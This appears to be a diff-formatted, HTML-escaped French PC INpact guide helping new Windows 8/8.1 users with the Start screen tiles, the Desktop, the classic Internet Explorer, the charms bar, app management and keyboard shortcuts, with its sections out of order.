+&lt;p&gt;Vous pouvez en effet lancer une application en tapant son nom au clavier, ce qui permettra aussi de lancer une recherche au sein de la machine ou m&amp;ecirc;me sur internet, via Bing, dans le cas de Windows 8.1 Il faut toutefois apporter quelques informations compl&amp;eacute;mentaires.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142255.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142255.png" alt="windows 8 8.1" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142256.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142256.png" alt="windows 8 8.1" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;L&amp;rsquo;installation de la mise &amp;agrave; jour Windows 8.1 apporte deux &amp;eacute;l&amp;eacute;ments importants : d&amp;rsquo;une part, le clic droit sur le bouton D&amp;eacute;marrer affiche un menu permettant d&amp;rsquo;acc&amp;eacute;der rapidement &amp;agrave; certaines fonctionnalit&amp;eacute;s, notamment l&amp;rsquo;arr&amp;ecirc;t et le red&amp;eacute;marrage de la machine, ou encore le panneau de configuration classique. D&amp;rsquo;autre part, il est toujours possible d&amp;rsquo;installer une application tierce qui va remettre en place un menu D&amp;eacute;marrer &amp;laquo;&amp;nbsp;&amp;agrave; l&amp;rsquo;ancienne&amp;nbsp;&amp;raquo;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Nous vous conseillons dans ce domaine &lt;a href="https://www.google.fr/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;ved=0CD8QFjAA&amp;amp;url=http%3A%2F%2Fwww.classicshell.net%2F&amp;amp;ei=V967UvaqBcjD7AaA94Ag&amp;amp;usg=AFQjCNG50DyeHbBKla9DV29qyKk9FyWfZA&amp;amp;sig2=kVd1ILNV3A7OPDTkREZLyQ&amp;amp;bvm=bv.58187178,d.ZGU" target="_blank"&gt;ClassicShell&lt;/a&gt;&amp;nbsp;qui a l&amp;rsquo;avantage d&amp;rsquo;&amp;ecirc;tre gratuite, bien que l&amp;rsquo;auteur accepte les dons avec plaisir pour son travail. Le but n'est pas ici de&amp;nbsp;chercher &amp;agrave; r&amp;eacute;inventer la roue&amp;nbsp;: le menu d&amp;eacute;marrer peut &amp;ecirc;tre configur&amp;eacute; en mode Windows 9x (avec une seule colonne), en mode Vista ou avec l&amp;rsquo;apparence de Windows 7. &lt;a href="https://www.google.fr/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;ved=0CDQQFjAA&amp;amp;url=http%3A%2F%2Fwww.stardock.com%2Fproducts%2Fstart8%2F&amp;amp;ei=Qd67UqLjOLSM7AbS_oGIDA&amp;amp;usg=AFQjCNHYLJi8aJ1z63wv7MUgWhINSRSouw&amp;amp;sig2=HyfWfGhqZrxlXRMTt3p8Dw&amp;amp;bvm=bv.58187178,d.ZGU" target="_blank"&gt;Start8 de Stardock&lt;/a&gt; va plus loin de son c&amp;ocirc;t&amp;eacute; dans les possibilit&amp;eacute;s, mais il vous en co&amp;ucirc;tera 4,99 dollars, ce qui reste raisonnable.&lt;/p&gt;
+&lt;h3&gt;Je veux l&amp;rsquo;Internet Explorer que je connais, pas cette chose qui occupe tout l&amp;rsquo;&amp;eacute;cran&amp;nbsp;!&lt;/h3&gt;
+&lt;p&gt;Si vous souhaitez utiliser la version classique d&amp;rsquo;Internet Explorer, ou de n&amp;rsquo;importe quel autre navigateur d&amp;rsquo;ailleurs, il faut comprendre d&amp;rsquo;abord qu&amp;rsquo;il existe en g&amp;eacute;n&amp;eacute;ral deux interfaces, en fonction de l&amp;rsquo;endroit depuis lequel il est lanc&amp;eacute;. Mais si ceci est vrai en th&amp;eacute;orie, la pratique peut parfois &amp;ecirc;tre un peu plus complexe.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142257.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142257.png" alt="windows 8 8.1" width="500" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Par d&amp;eacute;faut, on ne trouve donc comme d&amp;rsquo;habitude qu&amp;rsquo;Internet Explorer dans Windows 8(.1). Si toutes les mises &amp;agrave; jour sont faites, il s&amp;rsquo;agit d&amp;rsquo;ailleurs de la version 11. Si vous cliquez sur la vignette de l&amp;rsquo;&amp;eacute;cran d&amp;rsquo;accueil, vous obtiendrez la version en plein &amp;eacute;cran pens&amp;eacute;e pour le tactile.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Cependant, vous pouvez retrouver la version classique assez facilement&amp;nbsp;: effectuer un clic ou une pression longue sur la vignette puis cliquez sur &lt;em&gt;&amp;Eacute;pingler sur la barre des t&amp;acirc;ches&lt;/em&gt; (s'il ne s'y trouve pas d&amp;eacute;j&amp;agrave;). Vous retrouverez alors le &amp;laquo;&amp;nbsp;e&amp;nbsp;&amp;raquo; bleu familier dans la barre des t&amp;acirc;ches du Bureau et son interface classique.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142258.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142258.png" alt="windows 8 8.1" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142259.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142259.png" alt="windows 8 8.1" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le fonctionnement est pratiquement identique si vous installez un navigateur concurrent, mais il est n&amp;eacute;cessaire de comprendre un point important&amp;nbsp;: il ne peut y avoir qu&amp;rsquo;un seul navigateur poss&amp;eacute;dant un mode plein &amp;eacute;cran disponible dans l&amp;rsquo;&amp;eacute;cran d&amp;rsquo;accueil. Dans la pratique, cela signifie que si vous installez Chrome ou Firefox, et que vous le d&amp;eacute;clarez comme navigateur par d&amp;eacute;faut, Internet Explorer ne pourra plus &amp;ecirc;tre utilis&amp;eacute; en version tactile.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le fonctionnement actuel des navigateurs sous Windows 8(.1) fait qu&amp;rsquo;il n&amp;rsquo;est pas possible de dissocier navigateur par d&amp;eacute;faut sur le Bureau et sur l&amp;rsquo;&amp;eacute;cran d'accueil. Dommage, car Internet Explorer 11 est &amp;agrave; l&amp;rsquo;heure actuelle bien mieux pens&amp;eacute; pour le second cas, notamment gr&amp;acirc;ce &amp;agrave; un mode lecture qui permet de ne garder que le texte et les images &amp;agrave; l&amp;rsquo;&amp;eacute;cran.&lt;/p&gt;
+&lt;h3&gt;Je ne comprends pas, pourquoi y a-t-il des barres sur les bords de l'&amp;eacute;cran ?&lt;/h3&gt;
+&lt;p&gt;Les nouvelles applications pens&amp;eacute;es pour Windows 8(.1) s&amp;rsquo;ouvrent par d&amp;eacute;faut en plein &amp;eacute;cran et font le pari d&amp;rsquo;utiliser tout l'espace afin d'afficher au maximum leur contenu. Notez qu'il est aussi possible de les s&amp;eacute;lectionner au doigt ou &amp;agrave; la souris lorsqu'elles sont lanc&amp;eacute;es, afin de les d&amp;eacute;placer pour qu'elles n'occupent plus qu'une partie de l'&amp;eacute;cran. Vous pourrez alors en lancer plusieurs en simultan&amp;eacute;e et ancrer Facebook sur la gauche pendant que vous utilisez le Bureau par exemple.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Quoi qu'il en soit, les barres d&amp;rsquo;outils ont disparu et sont en fait masqu&amp;eacute;es.&amp;nbsp;Il existe une logique dans leur nouvel emplacement qui pourra se retrouver dans toutes les applications du genre : la barre du bas, que l&amp;rsquo;on appelle par un clic droit ou une pression longue dans un espace vide de l&amp;rsquo;application, affiche les commandes en relation avec la t&amp;acirc;che en cours. Dans l&amp;rsquo;application Courrier par exemple, vous acc&amp;egrave;derez aux op&amp;eacute;rations de d&amp;eacute;placement, suppression, mise en courrier ind&amp;eacute;sirable et ainsi de suite. La barre du haut n&amp;rsquo;est pas pr&amp;eacute;sente dans toutes les applications, mais, lorsque c&amp;rsquo;est le cas comme dans Calendrier, c&amp;rsquo;est toujours pour se d&amp;eacute;placer dans des zones de contenus telles que les vues hebdomadaire, mensuelle, etc.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142260.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142260.png" alt="windows 8 8.1" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142261.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142261.png" alt="windows 8 8.1" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La barre de droite, appel&amp;eacute;e &amp;laquo;&amp;nbsp;barre des charmes&amp;nbsp;&amp;raquo;, peut toujours &amp;ecirc;tre appel&amp;eacute;e car elle pr&amp;eacute;sente des fonctionnalit&amp;eacute;s essentielles du syst&amp;egrave;me. &lt;em&gt;Partager&lt;/em&gt; permet par exemple de partager le contenu affich&amp;eacute; via d&amp;rsquo;autres applications. Une philosophie identique &amp;agrave; ce que l&amp;rsquo;on retrouve sur les smartphones et tablettes.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;em&gt;Param&amp;egrave;tres&lt;/em&gt; permettra pour sa part d&amp;rsquo;acc&amp;eacute;der aux r&amp;eacute;glages de l&amp;rsquo;application courante, mais pas seulement&amp;nbsp;: on y trouve tous les principaux r&amp;eacute;glages de l&amp;rsquo;ordinateur, en bas, ainsi que l&amp;rsquo;acc&amp;egrave;s au centre des &lt;em&gt;Param&amp;egrave;tres du PC&lt;/em&gt;. Dans tous les cas, cette barre s&amp;rsquo;appelle en pla&amp;ccedil;ant le curseur de la souris ou votre doigt en bas &amp;agrave; droite.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142262.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142262.png" alt="windows 8 8.1" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142263.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142263.png" alt="windows 8 8.1" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Enfin, placer sa souris ou votre doigt en haut &amp;agrave; gauche de l&amp;rsquo;&amp;eacute;cran affichera toujours une barre d&amp;rsquo;acc&amp;egrave;s aux applications d&amp;eacute;j&amp;agrave; ouvertes. Vous y trouverez uniquement les applications &amp;laquo; Modern UI &amp;raquo;, pas les classiques ouvertes depuis le Bureau. Et pour cause&amp;nbsp;: il est r&amp;eacute;f&amp;eacute;renc&amp;eacute; lui-m&amp;ecirc;me comme une application parmi d&amp;rsquo;autres.&lt;/p&gt;
+&lt;h3&gt;Mais alors, on ne peut pas fermer ces applications&amp;nbsp;?&lt;/h3&gt;
+&lt;p&gt;Vous pouvez tout &amp;agrave; fait fermer ces applications car la barre de gauche fonctionne comme celle des onglets dans n&amp;rsquo;importe quel navigateur. Si vous &amp;ecirc;tes certain de ne plus vouloir utiliser une application, un simple clic molette ou un gliss&amp;eacute; du doigt sur la miniature d&amp;rsquo;une application fermera cette derni&amp;egrave;re.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour autant, fermer ces applications sera dans la grande majorit&amp;eacute; des cas assez inutile. Les applications Windows 8 fonctionnent en effet comme celles d&amp;eacute;di&amp;eacute;es aux mobiles&amp;nbsp;: une fois en arri&amp;egrave;re-plan, elles ne consomment presque rien, &amp;agrave; peine un peu de m&amp;eacute;moire vive (une dizaine de Mo en moyenne par application). Elles sont en effet dans un &amp;eacute;tat &amp;laquo;&amp;nbsp;gel&amp;eacute;&amp;nbsp;&amp;raquo; qui ne garde que quelques fonctions actives pour g&amp;eacute;rer notamment les notifications, la r&amp;eacute;ception des emails, etc.&lt;/p&gt;
+&lt;h3&gt;Bon, et il n&amp;rsquo;y a pas quelques raccourcis pratiques pour que tout &amp;ccedil;a aille plus vite&amp;nbsp;?&lt;/h3&gt;
+&lt;p&gt;Si&amp;nbsp;: Microsoft en a ajout&amp;eacute; toute une s&amp;eacute;rie pour gagner du temps sur certaines op&amp;eacute;rations. Beaucoup concernent d&amp;rsquo;ailleurs les nouvelles barres sur les c&amp;ocirc;t&amp;eacute;s de l&amp;rsquo;&amp;eacute;cran.&amp;nbsp;Voici la liste des plus utiles&amp;nbsp;:&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Windows&amp;nbsp;: afficher l&amp;rsquo;&amp;eacute;cran d&amp;rsquo;accueil, ou la derni&amp;egrave;re application utilis&amp;eacute;e si l&amp;rsquo;on se trouve d&amp;eacute;j&amp;agrave; sur l&amp;rsquo;accueil&lt;/li&gt;
+&lt;li&gt;Windows + Q&amp;nbsp;: afficher la barre de recherche&lt;/li&gt;
+&lt;li&gt;Windows + I&amp;nbsp;: ouvrir les param&amp;egrave;tres du syst&amp;egrave;me&lt;/li&gt;
+&lt;li&gt;Windows + Z&amp;nbsp;: affiche les commandes de l&amp;rsquo;application&lt;/li&gt;
+&lt;li&gt;Windows + Espace&amp;nbsp;: change la langue du clavier (pratique si on effectue cette manipulation par erreur)&lt;/li&gt;
+&lt;li&gt;Windows + Tab&amp;nbsp;: permet de naviguer dans les applications&amp;laquo; Modern UI &amp;raquo; ouvertes&lt;/li&gt;
+&lt;li&gt;CTRL + molette de la souris : augmente ou diminue le zoom sur les &amp;eacute;l&amp;eacute;ments de l&amp;rsquo;&amp;eacute;cran&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;Notez que vous pourrez aussi retrouver quelques raccourcis tactiles si votre machine vous le permet. Ainsi, un gliss&amp;eacute; du doigt sur la gauche de l'&amp;eacute;cran permet de passer d'une application&amp;nbsp;&amp;laquo; Modern UI &amp;raquo; &amp;agrave; une autre. Vous pourrez les fermer aussi en effectuant une pression longue dans une zone vide et un gliss&amp;eacute; du doigt vers le bas de l'&amp;eacute;cran. Pour vous aider &amp;agrave; appr&amp;eacute;hender cette nouvelle fa&amp;ccedil;on de faire, Microsoft a plac&amp;eacute; un outil d'apprentissage accessible uniquement depuis les appareils tactile. Pour le lancer, il vous suffit de taper&amp;nbsp;&amp;laquo; Stylet et fonction tactile &amp;raquo; depuis l'&amp;eacute;cran d'accueil puis&amp;nbsp;&amp;laquo; S&amp;rsquo;exercer &amp;agrave; utiliser les raccourcis &amp;raquo;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Nous esp&amp;eacute;rons que ce petit guide de survie vous aura &amp;eacute;t&amp;eacute; pratique pour prendre en main les bases de Windows 8. Sachez dans tous les cas que rien ne remplace l&amp;rsquo;exp&amp;eacute;rience et que l&amp;rsquo;utiliser restera dans tous les cas le meilleur moyen de comprendre sa philosophie d&amp;rsquo;utilisation, qui reste n&amp;eacute;anmoins particuli&amp;egrave;re dans tous les cas. Enfin, l'installation de la mise &amp;agrave; jour Windows 8.1 permet d'afficher sur l'&amp;eacute;cran d'accueil une application compl&amp;egrave;te d&amp;eacute;di&amp;eacute;e &amp;agrave; l'aide. Bien pens&amp;eacute;e et relativement compl&amp;egrave;te, elle permet surtout de r&amp;eacute;pondre &amp;agrave; l'ensemble des manipulations de base. Une source d'informations qui faisait cruellement d&amp;eacute;faut &amp;agrave; Windows 8.&lt;/p&gt;&lt;p&gt;Le p&amp;egrave;re No&amp;euml;l a &amp;eacute;t&amp;eacute; particuli&amp;egrave;rement g&amp;eacute;n&amp;eacute;reux avec vous cette ann&amp;eacute;e&amp;nbsp;: un ordinateur flambant neuf vous attendait sous le sapin. Seulement voil&amp;agrave;, apr&amp;egrave;s le d&amp;eacute;ballage, vous vous &amp;ecirc;tes retrouv&amp;eacute; face &amp;agrave; Windows 8 ou Windows 8.1 et &amp;agrave; leur &amp;eacute;trange interface. Perdu, vous pestez contre tous ces changements et une sensation d&amp;rsquo;&amp;eacute;pouvante vous envahit tandis que vous vous rendez compte que vous n&amp;rsquo;avez plus acc&amp;egrave;s au menu D&amp;eacute;marrer tel que vous le connaissiez.&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pas de panique&amp;nbsp;! M&amp;ecirc;me si Microsoft a fait certains choix particuliers, nous allons vous fournir quelques r&amp;eacute;ponses simples &amp;agrave; des probl&amp;egrave;mes communs &amp;nbsp;avec lesquels il faut apprendre &amp;agrave; composer d&amp;egrave;s que l&amp;rsquo;on doit utiliser la derni&amp;egrave;re version de Windows.&lt;/p&gt;
+&lt;h3&gt;Mais qu&amp;rsquo;est-ce que c&amp;rsquo;est que toutes ces cases de couleur ?&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Ce que vous voyez est l&amp;rsquo;&amp;eacute;cran d&amp;rsquo;accueil. Il s&amp;rsquo;agit d&amp;rsquo;une interface contenant des vignettes, chacune repr&amp;eacute;sentant une application. Cette interface a &amp;eacute;t&amp;eacute; pens&amp;eacute;e avant tout pour une utilisation tactile, ce qui explique leur forme et leur taille. D'ailleurs, il y a de grandes chances que vous puissiez contr&amp;ocirc;ler votre ordinateur d'un simple doigt. Essayez.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142240.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142240.png" alt="windows 8 8.1" width="500" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;L'&amp;eacute;cran d'accueil de Windows 8(.1)&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ces vignettes peuvent &amp;ecirc;tre actives&amp;nbsp;: elles affichent alors une synth&amp;egrave;se d'informations sur les donn&amp;eacute;es que l&amp;rsquo;application contient. Par exemple, l&amp;rsquo;exp&amp;eacute;diteur du dernier email re&amp;ccedil;u, la m&amp;eacute;t&amp;eacute;o de votre ville, les derni&amp;egrave;res gros titres de l&amp;rsquo;actualit&amp;eacute; et ainsi de suite. Cliquer sur l'une d'entre elles lance l'application en plein &amp;eacute;cran car toute cette zone de Windows fonctionne diff&amp;eacute;remment du traditionnel Bureau et de ses ic&amp;ocirc;nes.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que si vous le souhaitez, vous pouvez d&amp;eacute;sactiver ces vignettes, c'est-&amp;agrave;-dire bloquer l'affichage des informations qui pourraient y appara&amp;icirc;tre. Pour cela, il vous suffit de faire appara&amp;icirc;tre un menu via un clic droit ou un appui long en mode tactile. Pratique dans le cas d'une machine devant laquelle plusieurs personnes pourraient &amp;ecirc;tre amen&amp;eacute;es &amp;agrave; passer.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si vous avez d&amp;eacute;j&amp;agrave; utilis&amp;eacute; les versions pr&amp;eacute;c&amp;eacute;dentes de Windows, celle qui vous m&amp;egrave;nera &amp;agrave; un environnement familier est celle nomm&amp;eacute;e &lt;em&gt;Bureau&lt;/em&gt;. Il s'agit en effet d&amp;eacute;sormais d'une application comme une autre, qui reprend l'interface classique du syst&amp;egrave;me d'exploitation de Microsoft et vous permet de g&amp;eacute;rer vos applications habituelles comme nous le verrons plus loin.&lt;/p&gt;
+&lt;h3&gt;Le classement de ces vignettes n&amp;rsquo;est pas pratique&amp;nbsp;!&lt;/h3&gt;
+&lt;p&gt;Pas de panique, cet agencement peut &amp;ecirc;tre modifi&amp;eacute;. Apr&amp;egrave;s un clic prolong&amp;eacute; sur une vignette, vous pourrez la d&amp;eacute;placer et la l&amp;acirc;cher o&amp;ugrave; vous le souhaitez. Si &amp;ecirc;tes sous Windows 8.1 ou si vous avez install&amp;eacute; la mise &amp;agrave; jour qui est propos&amp;eacute; gratuitement au t&amp;eacute;l&amp;eacute;chargement (&lt;a href="http://www.pcinpact.com/news/83956-windows-8-1-disponible-a-13h-voici-tout-ce-quil-faut-savoir.htm" target="_blank"&gt;en savoir plus&lt;/a&gt;), il vous sera m&amp;ecirc;me possible de s&amp;eacute;lectionner plusieurs vignettes afin de les d&amp;eacute;placer toutes en m&amp;ecirc;me temps.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Vous retrouverez l'ensemble des nouveaut&amp;eacute;s de Windows 8.1 d&amp;eacute;taill&amp;eacute;es au sein de &lt;a href="http://www.pcinpact.com/dossier/722-tout-savoir-des-nouveautes-de-windows-8-1/1.htm" target="_blank"&gt;ce dossier&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142241.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142241.png" alt="windows 8 8.1" /&gt;&lt;/a&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142245.png" alt="windows 8 8.1" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Les vignettes peuvent &amp;eacute;galement changer de taille. Quatre sont propos&amp;eacute;es, la plus petite n&amp;rsquo;affichant que l&amp;rsquo;ic&amp;ocirc;ne, et la plus grande donnant un maximum d&amp;rsquo;informations. Les tailles interm&amp;eacute;diaires s'adapteront pour leur part &amp;agrave; l&amp;rsquo;espace disponible.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ces diff&amp;eacute;rents formats permettent aussi de g&amp;eacute;rer l&amp;rsquo;importance que vous accordez &amp;agrave; ces applications. Si la m&amp;eacute;t&amp;eacute;o et les actualit&amp;eacute;s vous int&amp;eacute;ressent particuli&amp;egrave;rement, vous pourrez ainsi les configurer avec la taille la plus grande. En revanche, si vous vous servez assez peu des lecteurs audio et vid&amp;eacute;o int&amp;eacute;gr&amp;eacute;s par exemple, vous pourrez les r&amp;eacute;duire &amp;agrave; leur plus simple expression. Notez d&amp;rsquo;ailleurs que si vous n&amp;rsquo;utilisez pas une ou plusieurs applications, via le m&amp;ecirc;me menu vous aurez acc&amp;egrave;s &amp;agrave; la commande &amp;laquo;&amp;nbsp;D&amp;eacute;tacher&amp;nbsp;&amp;raquo; qui permet de les supprimer de l'&amp;eacute;cran d'accueil.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142243.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142243.png" alt="windows 8 8.1" /&gt;&lt;/a&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142244.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142244.png" alt="windows 8 8.1" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Le menu vous permet de supprimer ou d'ajouter une application de l'&amp;eacute;cran d'accueil&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Car supprimer une vignette ne d&amp;eacute;sinstalle pas une application (il existe une fonction s&amp;eacute;par&amp;eacute;e pour cela). Si vous le faites par erreur, d&amp;eacute;placez la souris ou votre doigt en bas &amp;agrave; gauche de l&amp;rsquo;&amp;eacute;cran d&amp;rsquo;accueil pour faire appara&amp;icirc;tre une fl&amp;egrave;che pointant vers le bas. Cliquer dessus affichera la liste compl&amp;egrave;te de toutes les applications. Il suffira alors d'effectuer un clic droit ou un appui prolong&amp;eacute; sur celles qui vous int&amp;eacute;ressent afin de les &amp;laquo;&amp;nbsp;&amp;eacute;pingler&amp;nbsp;&amp;raquo; sur l&amp;rsquo;&amp;eacute;cran d&amp;rsquo;accueil.&lt;/p&gt;
+&lt;h3&gt;Mais&amp;hellip; o&amp;ugrave; est pass&amp;eacute; mon Bureau&amp;nbsp;?! Comment y acc&amp;eacute;der d&amp;egrave;s le d&amp;eacute;marrage ?&lt;/h3&gt;
+&lt;p&gt;Comme nous l'avons &amp;eacute;voqu&amp;eacute; pr&amp;eacute;c&amp;eacute;demment, avec Windows 8(.1), l&amp;rsquo;environnement habituel n&amp;rsquo;est plus celui affich&amp;eacute; par d&amp;eacute;faut. Comme on l&amp;rsquo;a vu, Microsoft souhaite vous pr&amp;eacute;senter des vignettes et afficher ainsi une forme de &amp;laquo;&amp;nbsp;synth&amp;egrave;se&amp;nbsp;&amp;raquo; des informations dont vous pourriez avoir besoin. Sauf que vous faites peut-&amp;ecirc;tre partie de cette majorit&amp;eacute; d&amp;rsquo;utilisateurs qui souhaite essentiellement utiliser ce qu&amp;rsquo;il ou elle conna&amp;icirc;t&amp;nbsp;: le Bureau.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142248.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142248.png" alt="windows 8 8.1" /&gt;&lt;/a&gt;&amp;nbsp;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142249.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142249.png" alt="windows 8 8.1" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le Bureau est en fait accessible comme une application via l&amp;rsquo;une des vignettes sur l&amp;rsquo;&amp;eacute;cran d&amp;rsquo;accueil. Ce qui signifie d&amp;rsquo;ailleurs que vous pouvez augmenter ou diminuer sa taille en fonction de vos pr&amp;eacute;f&amp;eacute;rences. Une fois que vous cliquez sur cette vignette (que l'on reconna&amp;icirc;t facilement puisqu'elle repr&amp;eacute;sente le fond d'&amp;eacute;cran), vous retrouvez l'interface classique, qui fonctionne pratiquement comme celle de Windows 7.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que si vous disposez de Windows 8.1, vous pouvez d&amp;eacute;marrer directement sur cette interface, sans passer par l&amp;rsquo;&amp;eacute;cran d&amp;rsquo;accueil. Pour cela, faites un clic droit sur la barre des t&amp;acirc;ches depuis le Bureau, puis&amp;nbsp;&lt;em&gt;Propri&amp;eacute;t&amp;eacute;s&lt;/em&gt;. Rendez-vous dans l&amp;rsquo;onglet&amp;nbsp;&lt;em&gt;Navigation&lt;/em&gt;&amp;nbsp;et cochez la case&amp;nbsp;&lt;em&gt;Acc&amp;eacute;der au bureau au lieu de l&amp;rsquo;accueil&lt;/em&gt;. D&amp;egrave;s lors, l&amp;rsquo;ouverture de la session affichera directement le Bureau.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142364.png" alt="Windows 8.1 bureau" width="350" /&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;L'option permettant d'activer le Bureau par d&amp;eacute;faut&lt;/span&gt;&lt;/p&gt;
+&lt;h3&gt;Mais pourquoi Windows 8 me r&amp;eacute;clame sans arr&amp;ecirc;t un compte Microsoft&amp;nbsp;?&lt;/h3&gt;
